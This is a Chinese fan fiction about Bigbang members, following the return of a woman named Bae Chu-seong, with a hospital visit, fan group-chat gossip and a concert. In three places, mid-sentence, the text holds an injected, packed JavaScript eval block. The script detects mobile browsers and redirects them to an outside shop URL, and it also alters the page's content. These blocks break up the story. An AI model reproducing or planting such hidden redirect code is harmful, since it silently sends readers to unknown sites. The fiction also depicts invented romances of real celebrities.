《【韩娱】星之所向》 1. 机场 夜色如墨,华灯初上。仁川国际机场笼罩在一片静谧而华丽的夜幕之下,巨大的玻璃幕墙外,纵横交错的高架灯带与流动的车灯汇成红金交织的光河,朝着首尔市区深处奔腾而去。远处的城市天际线在夜色中勾勒出模糊的轮廓,像一头蛰伏的巨兽,闪烁着无数灯火。 金珍雅缓缓将她的白色奔驰驶入接机通道,刹车灯在身后划出几道醒目的红光。她看了眼手表——晚上九点四十分,比预计的到达时间早了二十分钟。她调整了下后视镜,补了补口红,目光不时扫向机场出口方向。 就在这时,机场的自动门悄然开启,发出轻微的机械运转声。 走出来的那个女人,仿佛让时间骤然停顿。 她身上有一种冷淡而颓废的美,如同一朵盛放到极致、即将凋零的荼蘼,在最美的瞬间流露出倦怠与疏离,对周遭一切漠不关心。最引人注目的是她左眉下的一颗痣,像一记微小的、暗色的吻痕,为她的眼神添上一抹慵懒又诱惑的意味。她的眼睛是典型的东方眼型,眼尾微微上挑,却不带丝毫谄媚,反而透着几分不经心的淡漠。 身穿一件黑色一字肩修身款连衣裙,恰到好处地勾勒出肩颈的优美线条,稍稍冲淡了那份“生人勿近”的冷冽气息。裸露的肌肤在机场冷白灯光下泛出瓷器般细腻的光泽。裙摆随步伐泛起细微涟漪,犹如午夜湖面被晚风拂过的水纹。 女人微微侧身张望,这个动作让她的锁骨线条愈发清晰,成为光影书写的绝佳画布。颈间没有任何饰物,反而让这种美更具冲击力——所有的目光都不得不停留在那片恰到好处的留白,游移在黑色布料与肌肤相接的边缘。她左手拖着一个中等尺寸的深灰色行李箱,轮子与光洁的地面摩擦发出规律的轻响。 夜风从敞开的门口拂入,扬起她散落的几缕发丝,她抬手将头发别到耳后,手腕转动的优雅弧度与肩线构成一道美妙的和弦。那一瞬间,周围几个同样在等待接机的人也不由自主地将目光投向她,但她似乎浑然不觉,或者说,根本不在意。 “初星!这里!”金珍雅赶忙降下车窗,大幅度地挥手,打破了这一刻的凝滞。 女人闻声转头,目光与车内的金珍雅相遇时,眼角微微弯起,淡漠的神情如春雪消融般柔和了几分。她步履从容地走向车子,高跟鞋敲击在光洁的地面上,发出清脆而规律的“嗒、嗒”声,不疾不徐,仿佛T台上的模特。 金珍雅已经下车,绕过车头,接过她手中的行李箱,“怎么就这么点行李?不是说这次回来会长住吗?”她语气亲昵,带着明显的喜悦。 “其他的已经托运了,过几天会到。”裴初星的声音略带沙哑,是长途飞行后的疲惫,却别有韵味。 金珍雅利落地将行李箱放进后备箱。裴初星则自行拉开副驾驶的车门,优雅地坐了进去,顺手将风衣脱下,叠放在膝上。 车门“砰”地一声轻响,将外界的喧嚣与目光隔绝。车内弥漫着淡淡的栀子花香氛,是金珍雅一贯的喜好。车辆平稳地驶入机场高速的车流之中,汇入那条光之河流。金珍雅单手扶着方向盘,姿态放松,另一只手调低了空调风量,又按下了音乐播放键,轻柔的爵士乐流淌出来。 “怎么突然就回来了?米兰待得不舒服?”金珍雅瞥了一眼身旁的好友,关切地问。 裴初星将头靠在椅背上,身体微微放松,指尖无意识地摩挲着安全带边缘。漫长飞行积攒的疲惫,在安静舒适的车厢中渐渐弥漫开来。她沉默了几秒,才轻声回答:“看到胜利出车祸的新闻,心里不踏实。那边的事情暂时告一段落,就想着回来看看。而且,”她侧过头,对金珍雅露出一个浅浅的、真实的微笑,“也确实想你了。” 她的笑容里带着一丝不易察觉的倦意,但眼神温暖。 金珍雅嘴角轻扬,显然很受用这话,“这还差不多。那今晚要不要先来我家住?你那边房子这么久没人住,肯定要收拾一下。” 裴初星点点头,“好啊,正好省得我折腾了。”她顿了顿,伸手按下了自己这一侧的车窗。秋夜微凉的风立刻涌入,吹动她的发丝,她深吸一口气——那是一种难以言喻的、独属于首尔秋夜的气息,混杂着湿润的泥土、隐约的泡菜发酵的微酸,还有都市特有的车流尾气与某种植物的清香。这是一种刻在记忆深处的、熟悉的味道。 车窗外,城市夜景飞速向后掠去。突然,一块巨大的广告牌闯入视野,在夜色中发出耀眼的光芒。上面是五个年轻男子,穿着统一风格的奢华时装,摆出精心设计的姿态,眼神或犀利或不羁,共同构成一个极具冲击力的画面——那是韩国顶级偶像团体Bigbang的巨幅代言海报。 她的目光却像被磁石吸引,猛地定格在最中间的那张脸上。 是他。 权至龙。 他的头发染回了黑色,梳着一丝不苟的背头,妆容精致得无可挑剔,下颌线比记忆中更加削瘦锋利,仿佛被成名这把刻刀在过去几年里重新精心雕琢过。海报上的他,微微抬着下巴,眼神直视镜头,带着一种掌控一切的自信和些许疏离的巨星气场。 空气仿佛骤然稀薄,她的指尖无意识地抬起,轻轻划过冰冷的车窗玻璃,仿佛想要触碰那遥不可及的画面。 那张面孔在暮色中发光,完美得近乎陌生。唯有当他微微侧头、灯光掠过眼睫的某个瞬间——那个曾在生日时偷偷下厨、被烫出满手水泡却眼神亮如星辰的男孩,才从这幅华丽海报后隐约浮现,又迅速消失。 一种复杂的情绪,混合着恍如隔世的陌生感和某种尖锐的刺痛,在她心底悄然蔓延。 “初星呀,”金珍雅的声音再次响起,带着几分期待,“这次在韩国准备待几天?什么时候走?我不管,你留在这的每一天,只要你有空,我都要跟你腻在一起~可得好好补偿我这几年独守空闺的寂寞!” 这声呼唤像一枚圆润的石子,掷入她波澜暗生的思绪静湖。她倏然回神,才察觉自己的指尖仍停留在车窗上,隔着玻璃,徒劳地对着那个巨大的影像。 她缓缓升起了车窗,切断了晚风,也切断了与窗外那个世界的视觉联系。但在车辆驶过广告牌的那一瞬,她还是通过后视镜,看到那幅发光的身影依旧矗立在夜色中,对所有人展示着完美而标准的微笑。 “好啦,”裴初星转过头,对金珍雅努力展现出一个更明朗些的笑容,语气柔软下来,“先去看看胜利的情况,确定他没事。之后……只要你不嫌我烦,其余时间都归你安排,好不好?”她伸手,轻轻拍了拍金珍雅放在方向盘上的手背,带着安抚的意味。 “这还差不多!”金珍雅满意地笑了,重新将注意力集中在路况上。 裴初星收回手,重新靠回椅背。“我有点累,先睡一会儿,到了叫我。”她对金珍雅轻声说完,便缓缓合上了眼睛,长而密的睫毛在眼睑下投下淡淡的阴影。她一动不动,仿佛真的睡着了,唯有那睫毛偶尔极轻地、难以察觉地颤动一下,才悄悄泄露出主人此刻内心的不平静与一丝迷茫。 车厢内恢复了安静,只有轻柔的音乐和车辆行驶的平稳噪音。金珍雅体贴地没有再说话,只是偶尔侧头看一眼身边的好友,目光中带着温暖和一丝不易察觉的担忧。车子平稳地行驶在通往市区的高速公路上,载着归来的故人,驶向灯火阑珊的城市深处,驶向一个充满了未知与回忆的夜晚。 --- 电梯无声地攀升至顶层VIP病房区。梯门开启的瞬间,消毒水的淡薄气味被一种奇异的、价格不菲的静谧所取代。走廊宽阔明亮,铺着吸音效果极佳的地毯,墙壁是柔和的米白色,上面挂着抽象风格的艺术画作。只有远处护士站传来极轻的键盘敲击声,如同小心翼翼的耳语,更衬托出这里的安静。 裴初星按照房号找到那扇虚掩着的胡桃木色房门,轻叩两声后,里面传来一声“请进”。她推门而入。 房间宽敞得不似病房,更像是一家高级酒店的行政套房。入口处是一个小小的门厅,往里是宽敞的会客区,摆放着看起来就十分舒适的布艺沙发、玻璃茶几,甚至还有一个简约的小厨房角落,冰箱、微波炉等一应俱全。里间才是病床所在。胜利就半靠在那张被摇起一定角度的病床上,身上盖着质感柔软的纯白色棉被。床头柜上放着的不是冰冷的医疗仪器,而是一瓶清新的白色小苍兰和几本翻开的时尚杂志。病床被调整到一个优雅的半躺角度,让他既能舒适地休息,又不失体面。 见到来人,胜利眼里立刻亮起熟悉而略带惊讶的光彩,挣扎着想坐直些身体。“怒那!你怎么来了?”他的声音还带着一点病后的虚弱,但精神看起来不错。 “别动,”裴初星连忙出声制止,她将带来的一束淡雅的白色郁金香放在床头柜的花瓶旁,又将手中提着的便当盒搁在茶几上,“本来想给你做点中餐补补,但问过经纪人大哥,说你今天刚好出院,不适合吃太油腻的,就特意做了海带汤。”她说着,朝胜利眨了眨眼,“珍雅想喝,我都没给她做呢,看,怒那还是最疼你吧~” “哦莫哦莫!”胜利惊喜地叫出声,脸上露出夸张的感动表情,“我居然能喝到怒那亲手做的海带汤!我真是太幸福了!果然我才是怒那心中最爱的弟弟,撒浪嘿哟~”他兴奋地说着,忽然像是想到什么,表情转为疑惑,他假装抬手整理头发,随后用手掌巧妙遮住下半张脸,眉毛几不可见地扬起,眼睛瞪大,做足了一副惊讶又探究的表情,“不过……怒那你什么时候学会下厨的?居然还会做海带汤?我记得你以前可是连面条都煮不好的人啊!” “呀!”裴初星受不了他那副故意搞怪的模样,举起拳头作势要打,语气带着佯怒,“少废话,爱喝不喝!” 胜利立刻见好就收,双手合十,做出求饶状,“我喝我喝!怒那做的我一定喝得一滴不剩!”见她收回拳头,他才笑嘻嘻地小心下床,慢慢走到茶几前的沙发上坐下。 裴初星看着他那副小心翼翼的样子,眼神软了下来,“感觉怎么样?还疼吗?” “好多了,就是还有点虚弱,医生说出院后好好静养一段时间就没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680891|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”胜利摆摆手,示意自己没问题,然后注意力又回到了便当盒上,“有时间一起吃饭吧,我亲自下厨,叫上珍雅,给你好好补补。”裴初星一边打开便当盒的盖子,一边说道。 “内!绝对要!”胜利忙不迭地点头,眼睛亮晶晶的。他拿起白瓷勺,轻轻搅动了一下碗中墨绿色的海带汤,饱满的米粒与嫩滑的海带随着漩涡浮沉,散发出温暖诱人的香气。他舀起一勺,小心地吹了吹,然后送入口中。温热鲜美的汤似乎瞬间熨帖了他的肠胃,他满足地眯起了眼睛,“嗯!真好喝!怒那手艺太棒了!” 看着他吃得香甜,裴初星脸上也露出了放松的笑意。她走到窗边,看着楼下如蚁的车流和远处璀璨的城市灯火。 “哎,对了,”胜利吃了几口,像是忽然想起什么,抬起头,眼里闪烁着纯粹的好奇,语气随意地问道,“你那个谁……程璟是吧?他怎么没跟你一起回来?放心你一个人长途飞行啊?” 裴初星背对着他,身影在城市的灯光映衬下显得有些单薄。她没有立刻回头,只是看着窗外,过了一会儿,才转过身,脸上带着平静的笑容,语气平常得像在说一件天气之类的小事,“早分开了啊。他要回中国发展,我不想去,觉得还是这里更适合我。”她的语气轻松自然,听不出太多情绪,就像在说一件衣服旧了,自然就不再穿了一样。 病房里有一瞬间的安静,只有胜利喝汤的细微声响。他似乎有些意外,张了张嘴,想说什么,但最终还是化为了一个理解的眼神,低下头继续喝汤,“哦……这样啊。” 就在这时,裴初星包里的手机震动起来,打破了短暂的沉默。她拿出手机看了看,是金珍雅发来的短信,她快速回了几个字,“下次再约吧~我先走了,珍雅在楼下催我了。”她利落地拿起搭在沙发背上的手包,动作连贯却不仓促,仿佛只是结束一次寻常的探访。 胜利放下勺子,连忙站起身,绕过茶几,走上前轻轻抱了抱裴初星,手掌在她背上安慰似的轻拍了两下,“怒那,路上小心。” “嗯,你也是,好好休息。”裴初星回抱了他一下,轻声说道。走到门口,她像是忽然想起什么,停下脚步,回头看着胜利,语气带着一丝难得的认真,压低声音说:“对了,记得啊,不准告诉别人我回来了。”她的眼神里有着明确的嘱托。 胜利愣了一下,随即点头,做了个给嘴巴拉上拉链的动作,“放心,怒那,我嘴巴最严了!” 裴初星这才笑了笑,转身拉开门,身影很快消失在走廊尽头。她的步伐轻快而果断,没有丝毫拖沓,只留下一个利落的背影与空气中淡淡的、她身上特有的冷冽香气余韵。 胜利站在门口,看着她离去的方向,直到电梯门合上,才挠了挠头,走回房间,嘴里喃喃自语:“怒那只说不准告诉‘别人’……但我们Bigbang又不是‘别人’,我们是一家人啊!嗯,我这么理解没错吧?我真是个小机灵鬼!”他试图用这种逻辑来说服自己,缓解那一点点“背叛”嘱托的心虚感。 “什么别人不别人的?胜利啊,你在嘀咕什么呢?” 一个温和的声音突然从门口传来。胜利吓得浑身一激灵,猛地收声,整个人僵在原地。他转过头,看到永裴不知何时已经站在那里,一只脚刚跨过门槛,手上还保持着推门的姿势。永裴脸上带着他惯有的爽朗温和笑容,但眼中明显带着一丝困惑,显然听到了胜利的自言自语。 胜利的心脏“咯噔”一下,差点从嗓子眼跳出来。他大脑飞速运转,眼珠转了转,赶紧挤出一个尽可能自然的笑容,试图转移话题:“啊!永裴哥!你来了!没什么没什么,我就是随便念念。对了,至龙哥呢?大声哥和胜铉哥呢?我今天出院诶,这么重要的日子,他们都不来看我吗?太令人伤心了~”他做出夸张的伤心表情,捂着胸口。 永裴小心地瞄了忙内一眼,虽然觉得他反应有点奇怪,但还是熟练地替自家那位忙碌的竹马打圆场:“他们今天都有行程,实在抽不开身,至龙又是队长,事情更多。不过至龙特意让我转告你,等他忙完这几天,他请客,你想吃什么都可以,随便点!” “内内内,”胜利立刻顺杆爬,变脸比翻书还快,耍宝般地夸张比划着,“给不了陪伴就只能用金钱弥补是吧?但怎么办,我就爱这样!麻烦用钱砸我吧,请不要怜惜我!疯狂地砸~”他一边说着,一边心里的小算盘打得噼啪响: [好吧,一个个都不来看我是吧!] [哼,那我也不告诉你们怒那回来了!] [这可不怪我!是你们自己不来,错过了第一时间知道重磅消息的机会!] [而且这是怒那吩咐的,我只是个听话的好弟弟,我有什么错!] 这么一想,胜利顿时觉得心安理得了许多,脸上的笑容也变得更加灿烂(且心虚)。永裴看着他古灵精怪的样子,无奈地摇了摇头,笑着走了进来,顺手关上了房门。窗外的首尔夜景依旧璀璨,仿佛什么都没有改变,又仿佛,某些微妙的波澜已经开始悄然荡漾开来。 2. 她是谁 **10月深夜 韩国聊天群组 【Bigbang是我的青春啊】 龙的小宝贝: 哦莫哦莫!刚帮哦妈买酱油回小区,居然撞见莉莉了!一开始还以为看错了,结果一对视——真的是他!然后就看到莉莉进了我家隔壁那栋楼,下来接他的人你们绝对猜不到!!我还拍到照片了!( ̄? ̄) (第一张照片) 画面的焦点是那位从门口快步走出的女人。她像是接到电话后匆忙赶下来的,发丝因急促略显凌乱。五官如经雕琢,眼神却似结冰的湖面——所有投去的欣赏仿佛都无法激起一丝涟漪,只被冷静地反射回来。即便身穿一件简单毛衣,也丝毫不染人间烟火气。她的步伐从容,不见急切。 男人一见她出来便停下脚步,脸上绽出“嗯,到了”般的简单笑容,随手示意,动作随意而熟稔。 气氛平和、预料之中,且放松。 (第二张照片) 傍晚时分,两人自然地并肩走入一栋高级住宅楼。 画面定格在他们的背影。两人之间保持着舒适的距离,步伐一致,节奏平常。女人微微侧头听着对方说话,脸上是朋友间闲聊的放松神情,唇角带着浅浅的笑意,眼睛弯成两道甜度超标的月牙——先前所有的疏离与空旷仿佛瞬间被填满,亮晶晶的,恍若盛满了星子。不经意间露出尖尖的小虎牙,与上一张照片中的冷淡形成强烈对比,让人看了也不自觉想跟着笑起来。 我的太阳: 莉莉的新女友?怎么和之前类型完全不一样? 但真的好好看啊!(☆▽☆) Strong V.I: 好眼熟……如果没看错,应该是那个女人啊!她回来了!!! 装作若无其事: 别的我不敢说,但这要是真的,忙内肯定不敢谈!要是谈了,其他三个不好说,某 leader 可能会罚莉莉打扫一辈子练舞室~?????? 88鸡涌: 是裴初星!!!(上跳下蹲左摇右摆旋转跳跃咆哮800遍!!!) 大棒最棒?: ! top的bae?: ! 爱吃香蕉的声?: ! 危险迷人的姜?: ! 议政府撒娇王nana?: ! …… 龙啊爱你: !!反复看了十遍还以为没睡醒,居然真的是裴姐!这女人还是这么貌美~[至龙害羞.GIF] 我的太阳: 裴初星是谁? GD的女神: 同问+1 莉莉的梦女: 连裴初星都不知道?鼎鼎大名的S小姐总听过吧?裴初星英文名Sitara,就是鸡涌的初恋啊!???? GD的女神: 她回来干嘛?不喜欢! Bigbang is vip: 初恋又怎样,不是没成吗?下雨天表白苦等五小时结果人搬家了……虽然但是,真的有点好笑[那嘟 smell.GIF] Strong V.I: 楼上11年后才饭上的吧?老粉都知道鸡涌和S小姐谈了挺久![大声老实巴交.GIF] Happy D-Lite: 听说过!之前鸡涌欧巴唯粉气炸了,好不容易分了又来个操作超多的水小姐!想到前几天被拍到的就更来气,再说一遍:我讨厌爱心镂空上衣! A boy: 你们真是……??[top气急败坏.GIF] YoungBae-zing: 权Leader和水小姐从暧昧到现在快两年了吧?8月还参加了生日会。虽然我也不喜欢水小姐,但他们还挺稳定的唉~ 棉花糖: 嗯……分手后还能和 leader 的前任关系这么好,果然是爱交朋友的莉莉啊[狡猾莉莉.GIF] 装作若无其事: 莉莉和S小姐从认识起就是好朋友!S生日891213,莉莉是901212,以前他俩都一起过生日。后来S出国了,莉莉还常去找她吃饭!友谊超好!!!??? 胜利王子: 其实S小姐回国那天我就拍到了,还以为是眼花。隔天又在医院撞见她,当时忙内正好住院。本来以为只是探病没几天就走,就没发……但现在看来S小姐似乎打算长住啊~ (附一张黑色一字肩长裙女子推行李箱走出机场的背影) VIP since 2006: 不怪鸡涌当年追那么凶,我个女人看照片都心动~?[g罗琳娇羞.GIF] 翅膀: 这嫂子我认!只要不是水小姐就行!! la-la-la: S小姐好像有男朋友吧?记得还求婚了,挺帅、很会打扮?? 应该是这个账号。 [分享instagram链接:Cyrus - good day图片图片] A boy: 早分啦,八月起就没互动了。身为龙粉一天刷S小姐动态800遍 胜利王子: 那他们能复合了吗?完虐水小姐求求了[鼓掌 GIF] 拽拽的鸡拽根: 不要啊不要复合!也不要跟水小姐!专心搞事业不行嘛! the leader: 跟水小姐都谈这么久了,感觉有点悬??? 88鸡涌: 和S小姐不确定是05还是06年开始的,11年下半年才分。中间所有绯闻全是假的!只有S小姐是真的!!!我龙不渣。分手是因为11年那件事,正好S之前申请的出国学习申请通过了…[抽泣 GIF] a boy: S小姐虽然有点作但人还挺好的,09抄袭事件、11年低谷她都陪在龙身边,之后才出的国。他们在一起那么多年,中间分分合合但从没别人!那些年的绯闻全是假的!只有S小姐是真的!我龙不渣…至少那段时间不渣! Kings of YG: 救命刚有点感动,看到最后一句突然好笑!以前鸡涌居然是纯洁鸡涌xi~(~o ̄▽ ̄)~o 装作若无其事: 所以大棒其他四个知道S小姐回来了吗? 莉莉的梦女: 以我对莉莉的了解,他肯定没告诉他们。这小孩憋着坏等着看戏呢[鸡涌扶额苦笑.GIF] 龙啊爱你: 以鸡拽根的性子,要知道裴姐回来了,表面风平浪静,背地绝对天天买醉想她~ 龙的小宝贝:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680892|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 所以谁去告诉他裴初星回来了?!很急! a boy: … 胜利王子:… 龙啊爱你:… 装作若无其事:… 莉莉的梦女?:… …… 此时,吃撑了的忙内安静窝在沙发里,看着刚分享到推特和Ins的照片,脸上浮起“邪恶”的笑容。 有单人照、双人合照,最吸睛的是最后一张——满满一桌各式菜肴。 【这是谁做的啊,不会是莉莉你吧?】 【楼上的想啥呢,里面好多C国菜,韩餐可能是莉莉,中餐他哪会!】 【合照里那女生是莉莉女友?C国人?】 @seungriseyo 回复楼上:【是朋友啊!另一个也在,她不想出镜。不是甜蜜约会!】 胜利回完评论,显得兴致缺缺。 他眼珠一转,手指听话地点开YG公司聊天群组。 “嗯…太明显会被至龙哥看穿,发这张好了。” 画面定格在一个温暖而生机盎然的瞬间—— 三只高脚杯在空中交汇,构成一个稳固欢庆的三角。杯壁轻撞,发出清亮或沉厚的声响,红酒荡漾,折射头顶暖光。虽只能见到三双手,却清晰传递出镜头外的笑脸与飞扬的欢笑。 视线向下,便是这场欢聚的基石:一张被菜肴填得满当的桌子。 各式香气仿佛穿透画面:油脂焦香、辣椒辛香、热汤鲜香…… Taeyang:【呀!吃饭不叫我们?】 TOP:【在哪儿?还有吗?想吃!】 teddy:【胜利交新女友了?好多C国菜,看来是个漂亮贤惠的C姑娘,什么时候带来见见啊?】 cl:【见面带我一个,我也想看。】 胜利装作没看见teddy那条:【top哥已经吃光啦,厨艺是完全大发!】 bom:【看起来这些菜剩下的骨头都是香的!】 大声:【至龙hiong刚看到说你吃独食,等你好了就罚打扫练舞室。】 权至龙:【忙内,好好享受,留给你的时间不多了】 dara:【哈哈哈哈哈哈!你惨了】 大声:【至龙哥威武!】 胜利继续装傻:【亲爱的至龙哥你终于来了!他们都趁你不在欺负我,哥要为我主持公道啊!我可是你最爱的忙内~】 权至龙:【再多说打扫加一个月】 胜利演不下去了,点开大声的聊天框:【至龙哥最近脾气这么差是不是激素失调?要不要给他拿点药?】 消息刚发出,就收到一条语音。点开,传来某人咬牙切齿的声音: “李胜利,打扫再加一个月!” 权至龙说完,冷冷瞥了一眼旁边缩着的大声,把手机扔回他面前的桌子。 他也不知道怎么了,从看到照片起,心里就涌起一阵压不住的烦躁…… 权至龙坐回位置,拿起手机,点开那张举杯照放大—— 他凝视着那只手,心脏传来一阵熟悉的悸动…… 是她? 想了想,又摇了摇头。 真是疯了。 他切到社交软件,熟练地点开某个主页。 最新一条动态,仍停留在八月。 3. 重逢的序幕 晨光熹微,淡金色的光线透过轻薄的纱质窗帘,在卧室地板上投下柔和的光斑。房间内漂浮着细微的尘埃,在光线中缓缓舞动,仿佛也被这份宁静感染。 床头柜上的手机突然发出低沉的震动声,屏幕随之亮起,冷色调的蓝光划破了室内的静谧,与温暖的晨光形成微妙对比。 床上的女人睫毛轻轻颤动,从深沉的睡眠中缓缓苏醒。她没有立即动作,只是静静地睁着眼睛,任由视线逐渐聚焦,瞳孔中还带着未散尽的睡意,像蒙着一层薄雾。几分钟后,她才慵懒地伸手,指尖在床头柜上摸索着找到手机。 当她划开屏幕,那条新信息完整地映入眼帘时,她的动作瞬间定格。 原本舒展的眉头微微蹙起,不是烦恼,也不是惊讶,而是一种复杂的、近乎迷茫的神情。她的指尖无意识地在手机边缘轻轻敲击,泄露了内心的犹豫。 就在这时,记忆中金珍雅的声音在耳畔响起:“如果已经决定了,那么早晚都要见面的,不是吗?”那句话带着她特有的轻松语调,却在此刻显得格外有分量。 短信那头的人似乎早就料到她的犹豫,又接连发来四五条信息: 【怒那吖~来吧来吧!和珍雅怒那一起来吧,这可是我车祸后第一场演唱会啊~你要是不来,我会在台上哭的!】 【怒那怒那,来嘛来嘛我需要来自亲友的鼓励,每次互动环节粉丝们都是最后才说喜欢我的?】 【怒那~你来了就可以第一个说喜欢我了!我保证会朝你的方向比心!】 【知道怒那最喜欢前排,我特意留了两张第一排正中间的票呢~别人想要我都没给!】 女人的唇角微微上扬,手机屏幕的光映在她深色的瞳孔中,像是夜空中突然坠入的流星。她的嘴角浮现出一个极浅的、带着纵容的弧度,但很快又恢复了平静。 她纤细的手指在屏幕上快速敲击:【Osaka场我有时间,留两张票吧!内场票就行。】 “耶——!!!!!” 忙内看到手机屏幕上那行字的瞬间,再也抑制不住内心的狂喜,低声欢呼起来。他双臂夸张地向上挥舞,仿佛不仅要拥抱天花板,甚至想要与天花板之上的某位神明击掌庆祝。他的脸上绽放出大大的笑容,眼睛眯成两条弯弯的弧线。 【留了两张最后一场的,刚好可以参加after party。不过怒那Nagoya场没时间吗?还是要回米兰?】他快速回复道。 裴初星抬起头,目光投向窗外。城市在天光下渐渐苏醒,远处的汉江泛着粼粼波光。但她的视线并没有聚焦在近处的高楼或流动的云朵上,而是仿佛穿透了玻璃,越过千山万水,最终定格在千里之外的米兰。 她轻轻呼出一口气,拇指无意识地摩挲着手机的金属边框。嘴角或许带着一丝极淡的、连自己都未曾察觉的笑意,或者是一抹难以捕捉的怅惘。 【不走了,我的导师从米兰打来电话,说给我介绍了国内设计界的前辈,要求我必须前去拜访。所以要忙一段时间了。】 胜利刚懒散地陷入沙发中,目光扫过那几行字时,身体突然僵住。他的眉毛猛地向上扬起,几乎要没入发际线。眼睛瞪得圆圆的,嘴巴无意识地微微张开,形成一个明显的、惊讶的“O”形。整个人仿佛被按下了暂停键,连呼吸都有一瞬间的停滞。 一旁路过的大声惊讶地看着忙内张得比拳头还大的嘴巴,体贴地伸手帮他合上——当然,这只是出于对队友的关心,绝对没有其他任何小心思。大声随即露出他标志性的憨厚笑容,眼睛眯成两条缝。 而一旁的永裴从胜利坐下后开始不停发信息起就在悄悄观察,此刻他用怀疑的目光盯着忙内:“小胜利啊,这次演唱会你要拿票吗?要给谁的?” 忙内头也没抬,继续回复信息:“哥,我要了两张Osaka终场的票,after party可能也会带两个人过去。” 永裴像是突然明白了什么,若有所思地点点头,确认了某种猜测:“忙内这是又谈恋爱了?这次居然还要带人来after party?你之前可是信誓旦旦说不带女朋友来这种场合的?” “说什么来了就跟看犯人一样盯着你,浑身不自在。”大声在一旁适时地补充道,模仿着胜利平时抱怨的语气。 永裴再次点头,眼中闪过一抹了然。 嗯,今晚回去就跟孝琳分享这个新发现。 “看来是定下心来了啊,wuli胜利。”TOP不知何时从后面凑过来,手臂亲昵地搂住胜利的肩膀,另一只手在他头上轻轻拍了拍,像在安抚一只大型犬。 胜利乖顺地靠着TOP宽阔的胸膛,脸上却露出一副“不怀好意”的笑容:“hiong,你们到时候就知道了~” 他在心里窃笑:给你们一个“大惊喜”,吓死你们! 某位队长看着胜利紧握手机的模样,突然计上心来—— 一切发生得极快,几乎在电光火石之间。 一只“魔爪”以迅雷不及掩耳之势从侧方探出,精准地抽走了胜利指间松松握着的手机。 “嘿!让我看看是哪位漂亮妹妹让我们胜利这么专注——”至龙带着恶作剧得逞的坏笑声响起,眼睛里闪烁着狡黠的光。 “hiong!”胜利感觉心脏猛地一缩,像被一只无形的手紧紧攥住,肾上腺素瞬间飙升。他根本来不及思考,几乎是本能地整个人扑了过去,身体爆发出惊人的速度和力量。一只手猛地抓住至龙握着手机的手腕,另一只手毫不犹豫地、“啪”地一声精准地按在侧键上! 屏幕瞬间熄灭,那条可能引发“血案”的信息,被彻底封印在了黑暗之中。 空气凝固了整整半秒。 至龙错愕地看着面前的胜利,他的手臂还被胜利紧紧抓着, 他有些不明白,怎么会这么大的反应? 以前也不是没开过这种玩笑啊? 胜利用一种刻意营造的轻松语气说道:“好险好险!幸亏我身手敏捷!” 但他紧绷的身体肌肉和刚才那快如闪电的动作,已经彻底出卖了他内心最大程度的惊慌。他甚至感觉自己的黑眼圈都被吓得更加明显了。 剩下的,只有其他人悻悻然的八卦目光和他心中暗自庆幸的万般波澜。 …… 演唱会场馆内,灯光明亮如昼,巨大的穹顶之下是一片低沉而持续的喧嚣。空气温热而稠密,弥漫着无数种香水、发胶和兴奋的体温混合在一起的独特气味,像一锅即将达到沸点的水,随时都要沸腾起来。 裴初星和金珍雅被人潮裹挟着,缓慢地向内移动,寻找自己的座位。身后是几个年轻女孩正激动地复习着应援口号,声音中充满了期待和兴奋;前方是延伸向黑暗舞台的、望不到头的皇冠灯海,它们尚未被完全点亮,如同蛰伏的星群,等待着那一刻的绽放。 “好多人啊,莫名感觉好激动是怎么回事!啊啊啊啊啊!”刚一找到座位坐下,椅垫还没焐热,金珍雅就像被按下了某个开关。她的左手猛地抓住了初星的右手腕,开始疯狂摇晃——不是轻轻的晃动,而是抓着胳膊前后左右地胡乱摇摆,像摇晃一瓶迫不及待要喷涌而出的香槟。 初星被她摇得东倒西歪,身体随着她的动作左右摆动,却忍不住跟着她一起笑起来。手腕被她攥得有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680893|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发疼,但这点不适完全被她的快乐和兴奋淹没了。 “冷静点好嘛,亲爱的!”我笑着试图稳住她,但声音里也全是掩不住的笑意。 “我尽量!!”她几乎是吼着回答,但眼睛一秒都没有离开舞台方向,手上的摇晃也一点没有停止。要知道,虽然她也是Bigbang的粉丝,但身为初星最好的朋友,自从初星出国后,她就再也没来看过他们的演唱会了!她绝对、绝对和初星是同一个阵营的! 初星掏出手机,屏幕的光在昏暗中亮起,映照着她带着笑意的脸庞。信号断断续续,但她还是点开了和胜利的聊天窗口,纤细的手指在屏幕上快速敲击: “哇,现场人也太多了吧!wuli胜利啊,等会儿台上见啊。fighting!为你应援!” (附上一张现场全景图:密密麻麻的观众和尚未亮起的舞台) 